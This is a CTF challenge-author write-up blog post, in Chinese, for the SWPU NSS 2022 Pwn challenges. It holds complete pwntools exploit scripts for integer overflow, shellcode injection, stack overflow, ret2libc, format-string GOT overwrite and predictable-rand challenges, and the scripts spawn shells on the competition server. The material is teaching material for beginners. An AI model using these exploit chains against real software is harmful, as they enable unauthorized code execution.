SWPU NSS 2022 秋季招新赛 Pwn 出题人笔记

Does your nc work?

出题人:Gu_xi #博客维护中

给新生的 签到题没有任何过滤

Integer Overflow

出题人:Gu_xi #博客维护中

考点: 整数溢出

32位程序 存在整数溢出

exp

from pwn import *
p = remote('1.14.71.254', 28657)
system = 0x08049100
p.sendlineafter("Tell me your choice:","1")
p.sendlineafter("First input the length of your name:", "-1")
bin_sh = 0x0804a008
payload = b'a'*0x20 + p32(0) +p32(system) +b'aaaa' +p32(bin_sh)
p.sendline(payload)
p.interactive()

shellcode?

出题人:Gu_xi #博客维护中

让新生了解shellcode

from pwn import *
context(arch = 'amd64')
# p = process('./pwn')
p = remote('1.14.71.254',28800)
shellcode = asm(shellcraft.sh())

p.sendline(shellcode)
p.interactive()

有手就行的栈溢出

出题人:Gu_xi #博客维护中

题如名字 有手就行

from pwn import *
#p = process('./pwn')
p = remote('1.14.71.254',28591)
backdoor = 0x401257
payload = b'a'*0x20 + p64(0) + p64(backdoor)
p.sendline(payload)
p.interactive()

FindAnotherWay

出题人:m1nus

Analyze

    Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)

这道题的话可以看到有个youfindit函数,执行的system("/bin/sh"),这个其实也就是后门函数

.text:0000000000401230 youfindit       proc near
.text:0000000000401230 ; __unwind {
.text:0000000000401230                 endbr64
.text:0000000000401234                 push    rbp
.text:0000000000401235                 mov     rbp, rsp
.text:0000000000401238                 lea     rdi, aCongratulation ; "Congratulations , now you find another "...
.text:000000000040123F                 call    _puts
.text:0000000000401244                 lea     rdi, aHereIsMyGiftEn ; "Here is my gift , enjoy yourself"
.text:000000000040124B                 call    _puts
.text:0000000000401250                 lea     rdi, command    ; "/bin/sh"
.text:0000000000401257                 mov     eax, 0
.text:000000000040125C                 call    _system
.text:0000000000401261                 nop
.text:0000000000401262                 pop     rbp
.text:0000000000401263                 retn
.text:0000000000401263 ; } // starts at 401230
.text:0000000000401263 youfindit       endp

vuln函数通过gets()函数来接收用户的输入,由于gets不限制输入长度,所以存在明显栈溢出,通过覆盖返回地址,跳转到call_system去,压入参数'/bin/sh'的地址,让'/bin/sh'作为system函数的参数即可getshell

int vuln()
{
 char s[12]; // [rsp+4h] [rbp-Ch] BYREF

 gets(s);
 return puts(s);
}

Exp

from pwn import *
#io = process("./FindanotherWay")
io = remote("1.14.71.254" , 28175)
pop_rdi = 0x0000000000401343
bin_sh = 0x0000000000402391
system = 0x40125C
payload = b'a' * (0xc + 0x8) + p64(pop_rdi) + p64(bin_sh) + p64(system)
io.recvuntil("Maybe another way?\n")
io.sendline(payload)
io.interactive()

WheretoGo

出题人:m1nus

Analyze

    Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)

vuln函数通过read函数接收用户输入,虽然不像gets函数那样限制用户输入的长度,但是由于这里接收的长度是256,是大于定义buf的大小128的,所以这里同样有一个栈溢出漏洞

void __cdecl vuln()
{
 char buf[128]; // [rsp+0h] [rbp-80h] BYREF

 read(0, buf, 256uLL);
}

由于程序没有可以利用的后门函数,也开启了NX,所以无法写入shellcode,那么就可以尝试ret2libc了

_init_proc  .init   0000000000401000    0000001B    00000008        R   .   .   .   .   .   .   .
sub_401020 .plt 0000000000401020 0000000D R . . . . . . .
sub_401030 .plt 0000000000401030 0000000F R . . . . . . .
sub_401040 .plt 0000000000401040 0000000F R . . . . . . .
sub_401050 .plt 0000000000401050 0000000F R . . . . . . .
_puts .plt.sec 0000000000401060 0000000B R . . . . . T .
_setbuf .plt.sec 0000000000401070 0000000B R . . . . . T .
_read .plt.sec 0000000000401080 0000000B R . . . . . T .
_start .text 0000000000401090 0000002F . . . . . . . .
_dl_relocate_static_pie .text 00000000004010C0 00000005 00000000 R . . . . . . .
deregister_tm_clones .text 00000000004010D0 00000021 00000000 R . . . . . . .
register_tm_clones .text 0000000000401100 00000031 00000000 R . . . . . . .
__do_global_dtors_aux .text 0000000000401140 00000021 00000000 R . . . . . . .
frame_dummy .text 0000000000401170 00000006 00000000 R . . . . . . .
init .text 0000000000401176 00000047 00000008 R . . . . B T .
vuln .text 00000000004011BD 00000025 00000088 R . . . . B T .
nss .text 00000000004011E2 00000047 00000008 R . . . . B T .
main .text 0000000000401229 00000044 00000018 R . . . . B T .
__libc_csu_init .text 0000000000401270 00000065 00000038 R . . . . . T .
__libc_csu_fini .text 00000000004012E0 00000005 00000000 R . . . . . T .
_term_proc .fini 00000000004012E8 0000000D 00000008 R . . . . . . .
puts extern 0000000000404078 00000008 R . . . . . T .
setbuf extern 0000000000404080 00000008 R . . . . . T .
read extern 0000000000404088 00000008 R . . . . . T .
__libc_start_main extern 0000000000404090 00000008 R . . . . . T .
__gmon_start__ extern 0000000000404098 00000008 R . . . . . . .

这里通过puts函数来泄露libc,拿到libc基址,从而得到system函数和/bin/sh的地址

第一次payload泄露puts函数地址

payload = b'a' * (0x80 + 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)

接收puts函数地址

puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8 , b"\x00"))

计算libc基址

libc_base = puts_addr - libc.sym['puts']

如果不知道libc版本的话可以用LibcSearcher,这道题我应该是给了libc的

拿到system和/bin/sh地址

system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))

第二次payload,getshell

payload = flat(['a' * (0x80 + 0x8) , ret , pop_rdi , bin_sh , system])

Exp

from pwn import *
elf = ELF("./WheretoGo")
context(os = "linux" , arch = "amd64" , log_level = "debug")
libc = elf.libc
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
pop_rdi = 0x00000000004012d3
ret = 0x000000000040101a
main = elf.sym['main']
io = process("./WheretoGo")
#io = remote("1.14.71.254" , 28871)
io.recvuntil("Could you please tell me where to go?")
payload = b'a' * (0x80 + 0x8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main)
io.sendline(payload)
puts_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8 , b"\x00"))
success("leak puts_addr = " + hex(puts_addr))
libc_base = puts_addr - libc.sym['puts']
system = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh"))
payload = flat(['a' * (0x80 + 0x8) , ret , pop_rdi , bin_sh , system])
io.recvuntil("Could you please tell me where to go?")
io.sendline(payload)
io.interactive()

InfoPrinter

出题人:m1nus

Analyze

    Arch:     amd64-64-little
  RELRO:   No RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char s[312]; // [rsp+0h] [rbp-140h] BYREF
 unsigned __int64 v6; // [rsp+138h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 init(argc, argv, envp);
 nss();
 puts("Show me what you can print");
 printf("Here is a key %p ", &puts);
 puts("now leak it");
 fflush(stdout);
 fgets(s, 300, stdin);
 printf(s);
 puts(xx);
 fflush(stdout);
 return __readfsqword(0x28u) ^ v6;
}

可以看到程序一开始是把puts函数的真实地址给了我们的,我们就可以通过它得到libc基址,在知道libc版本的情况下就可以拿到system和/bin/sh的地址

接着程序通过fgets接收用户输入后,用printf输出,那么这里存在格式化字符串漏洞,我们可以通过该漏洞去泄露或者覆盖栈上的值

再接着,最后有个puts(xx),xx这个变量在函数中并没有出现过,可以知道是个全局变量,双击跟进可以看到

.data:0000000000403878 xx              db 'ModifyMe',0         ; DATA XREF: main+A3↑o
.data:0000000000403878 _data           ends

xx在data段,存的是"ModifyMe",根据英文其实就可以知道,这里需要我们通过前文提到的格式化字符串漏洞来修改xx和puts

那么下面就是思考要将puts(xx)修改成什么呢

前面我们是不是通过puts函数可以拿到libc基址,从而拿到system函数或者/bin/sh的地址,这里我们想要getshell的话,是不是可以把puts(xx)给覆写成system('/bin/sh'),当程序执行到puts(xx)的时候实则执行的system('/bin/sh'),从而拿到shell

思路可行后就是开始构造exp了,这里我们可以使用fmtstr_payload这个工具来帮助我们构造格式化字符串payload

首先动调找到格式化字符串的偏移,这里我使用的是fmtarg

pwndbg> fmtarg 0x7fffffffddf0
The index of format argument : 6 ("\%5$p")

拿到system函数(见exp)和xx的地址后构造payload

payload = fmtstr_payload(6,{elf.got['puts']:system , 0x403878:b"/bin/sh\x00"})

Exp

from pwn import *
context(os = "linux" , arch = "amd64" , log_level = "debug")
# io = process("./InfoPrinter")
io = remote("1.14.71.254" , 28883)
elf = ELF("./InfoPrinter")
io.recvuntil("Here is a key ")
puts_addr = int(io.recv(14) , 16)
success("puts_addr = " + hex(puts_addr))
libc = elf.libc
libc_base = puts_addr - libc.sym['puts']
success("leak libc_base = " + hex(libc_base))
system = libc_base + libc.sym['system']
payload = fmtstr_payload(6,{elf.got['puts']:system , 0x403878:b"/bin/sh\x00"})
io.recvuntil("now leak it\n")
io.sendline(payload)
io.interactive()

是不是非常简单

Darling

出题人:m1nus

Analyze

这道题的考点其实就是伪随机数,还不是随机数预测,主要是想让大家熟悉ctypes的使用,题目很简单我们来分析下逻辑

main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
 int v4[2]; // [rsp+Ch] [rbp-14h] BYREF
 int v5; // [rsp+14h] [rbp-Ch]
 unsigned __int64 v6; // [rsp+18h] [rbp-8h]

 v6 = __readfsqword(0x28u);
 init(argc, argv, envp);
 pic();
 darling();
 puts("There may be many uncertainties in the world, but the only certainty is my love for you.\n");
 v4[1] = 20020819;
 srand(0x1317E53u);
 v5 = rand() % 100 - 64;
 __isoc99_scanf("%d", v4);
 if ( v5 == v4[0] )
   backdoor();
 else
   puts("Oh :( , you didn't get my love");
 return 0;
}

v4是20020819,srand()初始化随机数发生器,0x1317E53u其实就是十六进制的20020819,作为随机数种子

可以看到每次程序运行随机数的种子都是确定的20020819,那么生成的随机数其实也是固定了的,可以写个c运行一下直接拿到这个伪随机数:684577881,然后整除100后减去64,计算下可以得到17

程序接收用户输入,如果输入值等于刚才生成的伪随机数整除100后减去64得到的值(17)就跳转到后门函数,这道题的思路就是这样

拿到伪随机数的c

int main(){
int seed = 0x1317E53;
   int num;
srand(seed);
num = (rand() % 100) - 0x40;
   printf("%d" , num);
return 0;
}
#684577881

拿到伪随机数后计算就可得到程序想要的数字

下面是通过ctypes写脚本,关于ctypes的更多用法大家可以下去了解下,这对于其他如果涉及到C库函数的题会比较有用

Exp

from pwn import *
from ctypes import *
context(os = "linux" , arch = "amd64" , log_level = "debug")
# host = ""
# port =
local = int(input("0 for remote , 1 for local:\t"))
io = process("Darling") if local == 1 else remote(host , port)
libc_rand = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc_rand.srand(20020819)
io.recvuntil("There may be many uncertainties in the world, but the only certainty is my love for you.\n")
io.sendline(str(libc_rand.rand() % 100 - 64))
io.interactive()

There may be many uncertainties in the world, but the only certainty is my love for you.

感谢观看我的博客~
SWPU NSS 2022 秋季招新赛 Pwn 出题人笔记
https://www.wd-ljt.com/post/1024/890.html
来源于问谛居,转载记得联系作者哟~
THE END
分享
二维码
海报
SWPU NSS 2022 秋季招新赛 Pwn 出题人笔记
Does your nc work? 出题人:Gu_xi #博客维护中 给新生的 签到题没有任何过滤 Integer Overflow 出题人:Gu_xi #博客维护中 考点: 整数……
<<上一篇
下一篇>>